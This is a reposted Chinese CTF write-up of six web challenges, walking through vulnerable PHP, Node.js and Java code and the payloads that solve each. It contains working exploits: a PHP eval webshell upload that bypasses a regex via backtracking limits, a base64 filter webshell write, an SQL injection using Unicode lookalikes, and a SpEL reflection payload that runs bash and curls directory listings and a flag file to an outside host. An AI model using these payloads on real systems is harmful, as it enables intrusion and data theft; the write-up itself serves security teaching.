code breaking easy

admin 2024年8月18日00:55:10评论12 views字数 7338阅读24分27秒阅读模式

前言

这个是知识星球里面的一个比赛,一开始的时候事情多,没及时做,最近刷ph牛的文章看到这个比赛,找来复现一下

function

题目

function这题是一个php代码审计题,题目很短

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
  1. <?php
    $action = $_GET['action'] ?? '';
    $arg = $_GET['arg'] ?? '';

    if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
    } else {
    $action('', $arg);
    }

可以看到,题目想要我们输入两个参数绕过正则,然后就可以执行任意命令了

题解

寻找可利用字符

我们先审计源码,可以看到如果传过来actionarg那就分别赋值,然后对action进行正则表达式过滤
先看正则表达式

  1. 1
    2
    3
    4
  1. /^[a-z0-9_]*$/isD
    /i 忽略大小写
    /s 匹配任何不可见字符
    /D 如果正则表达式用$限制结尾字符,则不允许结尾有换行

所以我们现在就要找一个开头不是字母数字和下划线的值,同时还要可以正常地执行函数
因此我们先fuzz一下

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
  1. import requests
    for i in range(0,256):
    s= hex(i)[2:]
    if len(s)<2:
    s = '%0'+s
    else:
    s = '%'+s
    url = 'http://xiaorouji.cn:8087/?action='+s+'var_dump&arg=find'
    r = requests.get(url=url).content
    if 'find' in r:
    print s

跑出来%5c可以成功绕过,原因p神在小密圈说了

  1. 1
    2
  1. php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
    如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
寻找getshell函数

接下来的利用我们就要用到create_function函数了
在官方手册中它是这样的

  1. 1
  1. create_function ( string $args , string $code ) : string

这个函数由两个参数组成,第一个是函数名,第二个是函数内的代码。官方例子如下

  1. 1
    2
    3
    4
    5
  1. $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    实际上也就是
    function test($a,$b){
    return "ln($a) + ln($b) = ".log($a*$b);
    }

也可以简单理解成

  1. 1
    2
    3
  1. create_function($_GET['args'],$_GET['code']);
    $a = 'function __lambda_func('.$_GET['args'].'){'.$_GET['code'].'}\0';
    eval($a);

顺便看一下create_function的源码也可以看到第一个参数是用(闭合的,第二个是用{闭合的
code breaking easy

getflag

剩下的就是闭合以及利用了,尝试一下能不能得到phpinfo
code breaking easy
接下来就是getshell了,尝试下利用system函数
code breaking easy
发现被禁了,那就试下scandir函数
code breaking easy
成功getflag(这个flag是在上一层的目录上
code breaking easy

parewaf

这个题目依旧很短,考的是php的正则特性

题目

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
  1. <?php
    function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
    }
    if(empty($_FILES)) {
    die(show_source(__FILE__));
    }
    $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
    $data = file_get_contents($_FILES['file']['tmp_name']);
    if (is_php($data)) {
    echo "bad request";
    } else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
    header("Location: $path", true, 303);
    }

可以看到,这是一个上传文件的代码
首先拿到了文件会先判断是不是里面有没有php代码,如果有就返回bad request,否则就新建一个路径为data/md5($_SERVER['REMOTE_ADDR']),然后将文件命名为randon_int(0,10).php存储在新建的文件夹里面,最后将存储路径在http头里面返回过来

题解

分析正则

首先我们先看一下他的正则表达式

  1. 1
  1. /<\?.*[(`;?>].*/is

的匹配过程
code breaking easy
可以看到它先是从前面匹配了<?,接下来的.*将所有都匹配了,然后还需要匹配就要回溯回去前面,因此一直回溯到前面的>完成符号匹配,然后从该点开始向后进行匹配,完成最后的.*匹配
而同时,php为了防止正则表达式的拒绝服务攻击,设置了一个回溯次数的上限
code breaking easy
而如果回溯次数超过1000000的时候,它的返回就变成了false了
code breaking easy

payload

既然已经知道要怎么绕过漏洞点了,接下来就是写payload了

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
  1. import requests
    from io import BytesIO

    file = {
    'file': BytesIO('<?php eval($_POST["cmd"]);//' + 'a'*1000010)
    }

    res = requests.post('http://xiaorouji.cn:8088/',files=file,allow_redirects=False)
    print res.headers['Location']

拿到了shell文件目录以后就是利用了
code breaking easy
code breaking easy
getflag√

phpmagic

这个题目让人感觉略为懵逼,但是找到源码就做起来舒服了

题目

源码如下

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
  1. if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
    }
    define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
    if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
    }
    chdir(DATA_DIR);
    $domain = isset($_POST['domain']) ? $_POST['domain'] : '';
    $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

    if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);
    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
    file_put_contents($log_name, $output);
    }
    echo $output;
    endif;

题解

审计源码可以看到,文件名和文件内容我们都是可以知道的,但是文件内容会经过htmlspecialchars,所以想直接传个小马是8可能的,但是php有一个特性,只要能进行文件传输的地方,基本是都是能进行协议流的传输的,我们先本地尝试一波
code breaking easy
果然可以写文件,那么现在问题来了,文件名前面会加上$_SERVER['SERVER_NAME'],同时后缀几乎全部过滤了,还有就是文件内容也不是完全可控的
首先文件名前面加上的$_SERVER['SERVER_NAME'],我们可以通过修改Host的值达到控制的目的
接下来,我们想要绕过后缀要用到一个黑魔法,所以我们只要在文件名后面加个\.就可以绕过限制了
最后是文件内容不可控,但是我们可以看到,我们传过去的是base64编码的,在php伪协议解码的时候,遇到不规范的字符是会自动跳过解码的,因此我们只需要填充前面的规范字符使前面的字符是4的倍数,就能成功的让我们想写的shell文件成功解码了
先找一下前面的字符
code breaking easy
可以看到规范字符ltltgtgtDiG9959deb8u15DebianltltgtgttAq刚好40位,4的倍数,所以直接加文件内容就行啦
接下来就是利用了
code breaking easy
这样就能写进webshell了
code breaking easy

phplimit

这道题目很短,满足了正则就能执行任意命令了

题目

  1. 1
    2
    3
    4
    5
    6
  1. <?php
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
    } else {
    show_source(__FILE__);
    }

题解

从正则表达式可以看到它会匹配字母和括号,接下来找一找能绕过的方法
code breaking easy
可以看到只要最内层的函数没有参数的话,正则就能绕过,这里我们利用session去达到执行命令的目的
session_id,用来设置或者获取当前会话的id,对应PHPSESSID的值
session_start,用来创建新的会话或者重用现有会话
因此我们可以利用session_id(session_start()),但是PHPSESSID只允许字母数字和下划线,所以要将字符换下编码
code breaking easy
最后就是利用了
code breaking easy
code breaking easy
还有一个其他师傅的payload

  1. 1
  1. readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

巨强

nodechr

一进去就是一大堆代码……

题目

首先审计源码可以看到题目将flag放进去数据库,然后让用户登录进去,先贴一波关键源码

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
  1. function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
    return keyword
    }
    return undefined
    }

    async function login(ctx, next) {
    if(ctx.method == 'POST') {
    let username = safeKeyword(ctx.request.body['username'])
    let password = safeKeyword(ctx.request.body['password'])
    let jump = ctx.router.url('login')
    if (username && password) {
    let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
    if (user) {
    ctx.session.user = user
    jump = ctx.router.url('admin')
    }
    }
    ctx.status = 303
    ctx.redirect(jump)
    } else {
    await ctx.render('index')
    }
    }

可以看到他将unionselect那些过滤了,所以想直接读flag有点难,但是我们可以看到有个toUpperCase函数,看下ph牛的这篇文章,因此我们可以利用这些字符写payload
code breaking easy
最终payload

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
  1. #coding:utf-8
    import requests,base64
    url = "http://xiaorouji.cn:8085/login"
    data = {
    "username": "admin",
    "password": "0' unıon ſelect 1,flag,3 from flags where '1'='1"
    }
    res = requests.post(url,data=data).content
    print res

code breaking easy

Javacon

这题我们首先可以拿到一个jar包,然后用idea反编译出来可以看到一堆的java代码,肉鸡枯了…….
先看一下目录结构,有5个类和一个配置文件
code breaking easy
配置文件里面放了用户信息,因此我们用admin/admin是可以登录进网站的
code breaking easy
接下来就去看MainController文件,这里只放重点函数
code breaking easy
可以看到登录的时候,如果选了remember-me,就会将用户加密存储在cookie里面
code breaking easy
接着admin会对跳转之后的cookie做处理,判断remember-me的值是否存在,如果存在就解密
code breaking easy
验证过程上图,可以看见是先找黑名单,如果匹配出来返回FORBIDDEN,否则就继续下面的语句,在SmallEvaluationContext中进行SPEL解析,又因为有黑名单java.+lang,Runtime,exec.*\(,所以最后的利用字符串拼接和反射构造pop链
exp如下

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
  1. package com.company;
    import javax.crypto.spec.IvParameterSpec;
    import java.util.Base64;
    import javax.crypto.Cipher;
    import javax.crypto.spec.SecretKeySpec;
    import org.slf4j.LoggerFactory;

    class Encryptor{
    static org.slf4j.Logger logger = LoggerFactory.getLogger(Encryptor.class);
    public static String encrypt(String key, String initVector, String value){
    try{
    IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
    SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"),"AES");
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
    cipher.init(1, skeySpec, iv);
    byte[] encrypted = cipher.doFinal(value.getBytes());
    return Base64.getUrlEncoder().encodeToString(encrypted);
    }catch (Exception e){
    logger.warn(e.getMessage());
    }
    return null;
    }
    }
    public class Main {
    public static void main(String[] args) {
    //查看目录
    System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cd / && ls|base64|tr \"\n\" \"-\"`'})}"));
    //读flag文件
    System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime')),new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cat flag_j4v4_chun|base64`'})}"));

    }
    }

读目录
code breaking easy
code breaking easy
code breaking easy
读flag
code breaking easy
code breaking easy

FROM:Xi4or0uji

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日00:55:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   code breaking easyhttps://cn-sec.com/archives/3074850.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息